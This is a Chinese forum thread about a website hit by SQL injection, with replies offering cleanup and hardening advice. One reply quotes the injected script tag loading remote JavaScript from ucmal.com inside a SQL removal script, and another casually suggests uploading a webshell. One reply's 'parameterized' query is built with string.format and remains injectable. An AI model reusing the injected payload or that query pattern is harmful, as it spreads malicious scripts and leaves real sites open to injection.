我的网站一直被攻击,先是SQL 注入,不过问题解决了。后来首页 代码里 被写了 一些 私服的链接。大家说说 是哪有问题?

解决方案 »

  1.   


    呵呵,
      像SQL注入
    http请求不外乎 get 和 post,所以只要在文件中过滤所有post或者get请求中的参数信息中
    非法字符即可,所以我们实现http 请求信息过滤就可以判断是是否受到sql注入攻击。
    在一个就是正则匹配。
      

  2.   

    数据库被注入攻击 所有文本型字下段数据都被加了 <script_src=http://ucmal.com/0.js> </script>  
    怎么删掉?
    DECLARE @fieldtype sysname
    SET @fieldtype='varchar'--删除处理
    DECLARE hCForEach CURSOR GLOBAL
    FOR
    SELECT N'update '+QUOTENAME(o.name)
        +N' set  '+ QUOTENAME(c.name) + N' = replace(' + QUOTENAME(c.name) + ',''<script_src=http://ucmal.com/0.js> </script>'','''')'
    FROM sysobjects o,syscolumns c,systypes t
    WHERE o.id=c.id 
        AND OBJECTPROPERTY(o.id,N'IsUserTable')=1
        AND c.xusertype=t.xusertype
        AND t.name=@fieldtype
    EXEC sp_MSforeach_Worker @command1=N'?'
      

  3.   

     自己给网站上传一个webshell, 自己查看~
      

  4.   

    被sql注入了,或者服务器被人攻击了
      

  5.   

    把所有的sql语句参数化一下吧,或者是把sql语句写的严格一下,比如:如果传个ID那就string.format("select * from table where id='{0}' and usercode='{1}'",ID,UserCode)
      

  6.   

    数据库操作是否存在注入漏洞,操作参数化
    JS注入
    扫描网站工具可使用AccessDiver、JSky等 
    检查文件的pe格式是否正确。
    用16进制编辑器打开图片
      

  7.   

    看来服务器的权限已经被拿到了,麻烦了。除了检查自己代码的漏洞(一般是存在sql注入漏洞,还是就是富文本编辑器比如ewebeditor上传文件漏洞),还要检查服务器的登录账号是否被修改过,有没有存在隐藏的管理账号。建议网站数据库连接账号不要使用sa,后台地址不要使用admin等简单的名称,保存上传文件的文件夹不要给执行脚本的权限